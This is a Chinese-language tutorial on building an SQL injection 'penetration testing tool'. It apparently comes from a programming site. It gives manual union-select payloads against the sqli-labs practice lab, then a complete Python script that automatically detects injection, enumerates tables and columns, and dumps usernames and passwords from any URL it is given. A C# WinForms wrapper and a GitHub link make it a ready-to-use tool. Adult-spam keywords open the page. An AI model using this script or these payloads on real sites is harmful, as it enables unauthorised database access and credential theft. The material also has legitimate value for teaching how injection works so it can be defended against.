欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

用C語言winform編寫滲透測試工具實(shí)現(xiàn)SQL注入功能

 更新時(shí)間:2021年09月10日 09:40:31   作者:吟風(fēng)芥塵  
本篇文章主要介紹使用C#winform編寫滲透測試工具,實(shí)現(xiàn)SQL注入的功能。使用python編寫SQL注入腳本,基于get顯錯(cuò)注入的方式進(jìn)行數(shù)據(jù)庫的識(shí)別、獲取表名、獲取字段名,最終獲取用戶名和密碼;使用C#winform編寫windows客戶端軟件調(diào)用.py腳本,實(shí)現(xiàn)用戶名和密碼的獲取

用C語言winform編寫滲透測試工具使SQL注入

一、SQL注入

原理:

SQL注入是指攻擊者在Web應(yīng)用程序中事先定義好的查詢語句的結(jié)尾加上額外的SQL語句,這些一般都是SQL語法里的一些組合,通過執(zhí)行SQL語句進(jìn)而執(zhí)行攻擊者所要的操作。(危害:盜取網(wǎng)站敏感信息、繞過驗(yàn)證登錄網(wǎng)站后臺(tái)、借助數(shù)據(jù)庫的存儲(chǔ)過程進(jìn)行權(quán)限提升等操作)。造成的原因是程序員在編寫Web程序時(shí),沒有對瀏覽器提交的參數(shù)進(jìn)行嚴(yán)格的過濾和判斷,用戶可以構(gòu)造參數(shù),提交SQL查詢語句,并傳遞到服務(wù)器端,從而獲取敏感信息。

方法:

  • 確定Web應(yīng)用程序使用的技術(shù):與設(shè)計(jì)語言或者硬件關(guān)系密切,工具Nessus、AWVS、APPScan;
  • 確定所有可能的輸入方式:攻擊者可以通過隱藏的HTML表單輸入、http頭部、cookies、后端AJAX請求來跟WEB應(yīng)用進(jìn)行交互,使用web代理如Burp;
  • 查找可以用于注射的用戶輸入:多多留意web應(yīng)用的錯(cuò)誤頁面。

常使用的方法:

  • “單引號(hào)”法:第一種檢測SQL注入漏洞是否存在的方法是“單引號(hào)”法。方法很簡單,直接在瀏覽器地址欄中的網(wǎng)址鏈接后加上一個(gè)單引號(hào),如果頁面不能正常顯示,瀏覽器返回一些異常信息,則說明該鏈接可能存在注入漏洞。
  • 1=1和1=2法:直接在鏈接地址后分別加上and 1=1和and 1=2進(jìn)行提交,如果返回不同的頁面,那么說明存在SQL注入漏洞。

二、實(shí)現(xiàn)步驟

搭建靶場環(huán)境

  • 搭建SQLi-labs靶場環(huán)境,網(wǎng)上也有很多教程,可以參照sqli-labs下載與安裝進(jìn)行搭建。搭建后進(jìn)入Less-1。

  • 為測試環(huán)境搭建成功,首先Less-1后跟隨?id=1的參數(shù),若成功返回結(jié)果,代表環(huán)境可以使用。

  • SQLi-labs靶場環(huán)境中有許多注入方式可以練習(xí),包括get顯錯(cuò)注入、get盲注、post顯錯(cuò)注入、post盲注等,這里主要針對get顯錯(cuò)注入,后面的編寫的腳本也是針對get顯錯(cuò)注入。首先嘗試id的值為一些特殊的符號(hào)(如單引號(hào)'、雙引號(hào)"、括號(hào))、反斜線/等),輸入?id=1',發(fā)現(xiàn)報(bào)錯(cuò),說明此處可能有注入點(diǎn),同時(shí)確認(rèn)數(shù)據(jù)庫為MYSQL數(shù)據(jù)庫。

  • 使用order by判斷字段數(shù),通過輸入?id=1' order by 1 --+,頁面返回正常信息,再輸入?id=1' order by 2 --+,一直到id=1' order by 4 --+,頁面報(bào)錯(cuò),這時(shí)候我們就可以知道此表中有3列數(shù)據(jù)。

  • 使用union select聯(lián)合查詢方式獲得庫名、表名、字段名。首先輸入id=0' union select 1,user(),database() --+,得到用戶名和使用數(shù)據(jù)庫的庫名。

  • 獲取表名時(shí)需要借助MySQL數(shù)據(jù)庫中系統(tǒng)庫information_schema,使用group_concat()來獲取正在使用的庫中有哪些表傳入的參數(shù),具體用法為傳輸參數(shù)?id=0' union select 1,DATABASE(),group_concat(table_name) from information_schema.tables where table_schema=DATABASE() --+,獲得當(dāng)前數(shù)據(jù)庫使用的表名。

  • 使用同樣的方法id=0' union select 1,group_concat(username),group_concat(password) from users--+,獲得獲取字段名。

  • 利用group_concat()獲取字段值,具體為傳輸參數(shù)?id=0' union select 1,group_concat(username),group_concat(password) from users--+獲得用戶名和密碼。

三、代碼實(shí)現(xiàn)

使用python編寫腳本實(shí)現(xiàn)自動(dòng)注入

import time
import sys
from urllib import request
from bs4 import BeautifulSoup

def log(content):
    this_time = time.strftime('%H:%M:%S', time.localtime(time.time()))
    print('[' + str(this_time) + '] ' + content)

def send_request(url):
    # log(url)
    res = request.urlopen(url)
    result = str(res.read().decode('utf-8'))
    return result

def can_inject(test_url):
    test_list = ['%27', '%22']
    for item in test_list:
        target_url1 = test_url + str(item) + '%20' + 'and%201=1%20--+'
        target_url2 = test_url + str(item) + '%20' + 'and%201=2%20--+'
        result1 = send_request(target_url1)
        result2 = send_request(target_url2)

        soup1 = BeautifulSoup(result1, 'html.parser')
        fonts1 = soup1.find_all('font')
        content1 = str(fonts1[2].text)

        soup2 = BeautifulSoup(result2, 'html.parser')
        fonts2 = soup2.find_all('font')
        content2 = str(fonts2[2].text)

        if content1.find('Login') != -1 and content2 == None or content2.strip() == '':
            log('Use ' + item + ' -> Exist SQL Injection')
            return True, item
        else:
            log('Use ' + item + ' -> Not Exist SQL Injection')
    return False, None

def test_order_by(url, symbol):
    flag = 0
    for i in range(1, 100):
        log('Order By Test -> ' + str(i))
        test_url = url + symbol + '%20order%20by%20' + str(i) + '--+'
        result = send_request(test_url)
        soup = BeautifulSoup(result, 'html.parser')
        fonts = soup.find_all('font')
        content = str(fonts[2].text)
        if content.find('Login') == -1:
            log('Order By Test Success -> order by ' + str(i))
            flag = i
            break
    return flag

def get_prefix_url(url):
    splits = url.split('=')
    splits.remove(splits[-1])
    prefix_url = ''
    for item in splits:
        prefix_url += str(item)
    return prefix_url

def test_union_select(url, symbol, flag):
    prefix_url = get_prefix_url(url)

    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

    for i in range(1, flag):
        if i == flag - 1:
            test_url += str(i) + '%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    for i in range(1, flag):
        if content.find(str(i)) != -1:
            temp_list = content.split(str(i))
            return i, temp_list

def exec_function(url, symbol, flag, index, temp_list, function):
    prefix_url = get_prefix_url(url)
    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

    for i in range(1, flag):
        if i == index:
            test_url += function + ','
        elif i == flag - 1:
            test_url += str(i) + '%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]

def get_database(url, symbol):
    test_url = url + symbol + 'aaaaaaaaa'
    result = send_request(test_url)
    if result.find('MySQL') != -1:
        return 'MySQL'
    elif result.find('Oracle') != -1:
        return 'Oracle'

def get_tables(url, symbol, flag, index, temp_list):
    prefix_url = get_prefix_url(url)
    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

    for i in range(1, flag):
        if i == index:
            test_url += 'group_concat(table_name)' + ','
        elif i == flag - 1:
            test_url += str(i) + '%20from%20information_schema.tables%20where%20table_schema=database()%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]

def get_columns(url, symbol, flag, index, temp_list):
    prefix_url = get_prefix_url(url)
    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

    for i in range(1, flag):
        if i == index:
            test_url += 'group_concat(column_name)' + ','
        elif i == flag - 1:
            test_url += str(i) + '%20from%20information_schema.columns%20where%20' \
                                 'table_name=\'users\'%20and%20table_schema=database()%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]

def get_data(url, symbol, flag, index, temp_list):
    prefix_url = get_prefix_url(url)
    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

    for i in range(1, flag):
        if i == index:
            test_url += 'group_concat(id,0x3a,username,0x3a,password)' + ','
        elif i == flag - 1:
            test_url += str(i) + '%20from%20users%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0].split(',')

def do_sql_inject(url):
    log('Welcome To SQL Injection Tool')
    log('Check For SQL Injection......')
    result, symbol = can_inject(url)
    if not result:
        log('Target Url Not Exist SQL Injection -> Exit')
        return
    else:
        log('Test Order By And Union Select......')
        flag = test_order_by(url, symbol)
        index, temp_list = test_union_select(url, symbol, flag)
        database = get_database(url, symbol)
        version = exec_function(url, symbol, flag, index, temp_list, 'version()')
        this_database = exec_function(url, symbol, flag, index, temp_list, 'database()')
        log('Success -> ' + database.strip() + ' ' + version.strip())
        log('Database -> ' + this_database.strip())
        tables = get_tables(url, symbol, flag, index, temp_list)
        log('Tables -> ' + tables.strip())
        log('Default Use Table users......')
        columns = get_columns(url, symbol, flag, index, temp_list)
        log('Columns -> ' + columns.strip())
        log('Try To Get Data......\n\n')

        datas = get_data(url, symbol, flag, index, temp_list)
        temp = columns.split(',')
        print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))
        for data in datas:
            temp = data.split(':')
            print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))

if __name__ == '__main__':
    do_sql_inject(sys.argv[1]+'/?id=1')

編寫windows客戶端軟件調(diào)用.py腳本
對于python腳本中包含第三方模塊的情況,同樣,通過直接創(chuàng)建Process進(jìn)程,調(diào)用python腳本,返回掃描結(jié)果。

  • 創(chuàng)建按鈕按下事件button1_Click,運(yùn)行“調(diào)用python腳本”函數(shù)runPythonsql_inject()
 private void button13_Click(object sender, EventArgs e)
        {
            richTextBox8.Clear();
            runPythonsql_inject();//運(yùn)行python函數(shù)
            label39.Text = "開始掃描...";
        }
  • 實(shí)例化一個(gè)python進(jìn)程 調(diào)用.py 腳本
void runPythonsql_inject()
        {
            string url = textBox10.Text;
            p = new Process();
            string path = "sql_inject.py";//待處理python文件的路徑,本例中放在debug文件夾下
            string sArguments = path;
            ArrayList arrayList = new ArrayList();
            arrayList.Add(url);//需要挖掘的域名
            foreach (var param in arrayList)//拼接參數(shù)
            {
                sArguments += " " + param;
            }
            p.StartInfo.FileName = @"D:\Anaconda\python.exe"; //沒有配環(huán)境變量的話,可以寫"xx\xx\python.exe"的絕對路徑。如果配了,直接寫"python"即可
            p.StartInfo.Arguments = sArguments;//python命令的參數(shù)
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.RedirectStandardInput = true;
            p.StartInfo.RedirectStandardError = true;
            p.StartInfo.CreateNoWindow = true;
            p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            p.Start();//啟動(dòng)進(jìn)程
            //MessageBox.Show("啟動(dòng)成功");
            p.BeginOutputReadLine();
            p.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived_sql_inject);
            Console.ReadLine();
            //p.WaitForExit();
        }

  • 輸出接收事件函數(shù)
void p_OutputDataReceived_sql_inject(object sender, DataReceivedEventArgs e)
        {
            var printedStr = e.Data;
            Action at = new Action(delegate ()
            {
                //接受.py進(jìn)程打印的字符信息到文本顯示框
                richTextBox8.AppendText(printedStr + "\n");
                label39.Text = "掃描結(jié)束";
            });
            Invoke(at);
        }

四、軟件使用步驟

  • 首先在url欄中輸入地址,點(diǎn)擊開始查詢,最后得到SQL注入信息。

github地址:https://github.com/Chenmengx/Penetration-testing-tool

以上就是用C語言winform編寫滲透測試工具實(shí)現(xiàn)SQL注入功能的詳細(xì)內(nèi)容,更多關(guān)于C#winform實(shí)現(xiàn)SQL注入的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • C++中構(gòu)造函數(shù)詳解

    C++中構(gòu)造函數(shù)詳解

    大家好,本篇文章主要講的是C++中構(gòu)造函數(shù)詳解,感興趣的同學(xué)趕快來看一看吧,對你有幫助的話記得收藏一下
    2022-02-02
  • Qt實(shí)現(xiàn)進(jìn)程間通信

    Qt實(shí)現(xiàn)進(jìn)程間通信

    這篇文章主要為大家詳細(xì)介紹了Qt實(shí)現(xiàn)進(jìn)程間通信,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2022-08-08
  • 詳談C++的內(nèi)存泄漏問題

    詳談C++的內(nèi)存泄漏問題

    下面小編就為大家?guī)硪黄斦凜++的內(nèi)存泄漏問題。小編覺得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧
    2017-05-05
  • c++中map的基本用法和嵌套用法實(shí)例分析

    c++中map的基本用法和嵌套用法實(shí)例分析

    這篇文章主要介紹了c++中map的基本用法和嵌套用法,以實(shí)例形式分析了map容器的基本使用技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下
    2015-01-01
  • C語言實(shí)現(xiàn)AT指令A(yù)SCII碼的拼接處理流程

    C語言實(shí)現(xiàn)AT指令A(yù)SCII碼的拼接處理流程

    今天小編就為大家分享一篇關(guān)于C語言實(shí)現(xiàn)AT指令A(yù)SCII碼的拼接處理流程,小編覺得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來看看吧
    2018-12-12
  • C語言中qsort函數(shù)用法實(shí)例小結(jié)

    C語言中qsort函數(shù)用法實(shí)例小結(jié)

    這篇文章主要介紹了C語言中qsort函數(shù)用法,包括了針對各種數(shù)據(jù)類型參數(shù)的排序,非常具有實(shí)用價(jià)值,需要的朋友可以參考下
    2014-09-09
  • C語言中雙向鏈表和雙向循環(huán)鏈表詳解

    C語言中雙向鏈表和雙向循環(huán)鏈表詳解

    這篇文章主要介紹了C語言中雙向鏈表和雙向循環(huán)鏈表詳解的相關(guān)資料,需要的朋友可以參考下
    2017-06-06
  • 關(guān)于C/C++內(nèi)存管理示例詳解

    關(guān)于C/C++內(nèi)存管理示例詳解

    這篇文章主要給大家介紹了C/C++內(nèi)存管理的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2021-05-05
  • 基于Linux系統(tǒng)調(diào)用--getrlimit()與setrlimit()函數(shù)的方法

    基于Linux系統(tǒng)調(diào)用--getrlimit()與setrlimit()函數(shù)的方法

    本篇文章是對在Linux系統(tǒng)中調(diào)用getrlimit()與setrlimit()函數(shù)的方法進(jìn)行了詳細(xì)的分析介紹,需要的朋友參考下
    2013-05-05
  • 詳解c++ atomic原子編程中的Memory Order

    詳解c++ atomic原子編程中的Memory Order

    在多核編程中,我們使用內(nèi)核對象【如:事件對象(Event)、互斥量對象(Mutex,或互斥體對象)、信號(hào)量對象(Semaphore)等】來避免多個(gè)線程修改同一個(gè)數(shù)據(jù)時(shí)產(chǎn)生的競爭條件。本文將詳細(xì)介紹c++ atomic原子編程中的Memory Order。
    2021-06-06

最新評(píng)論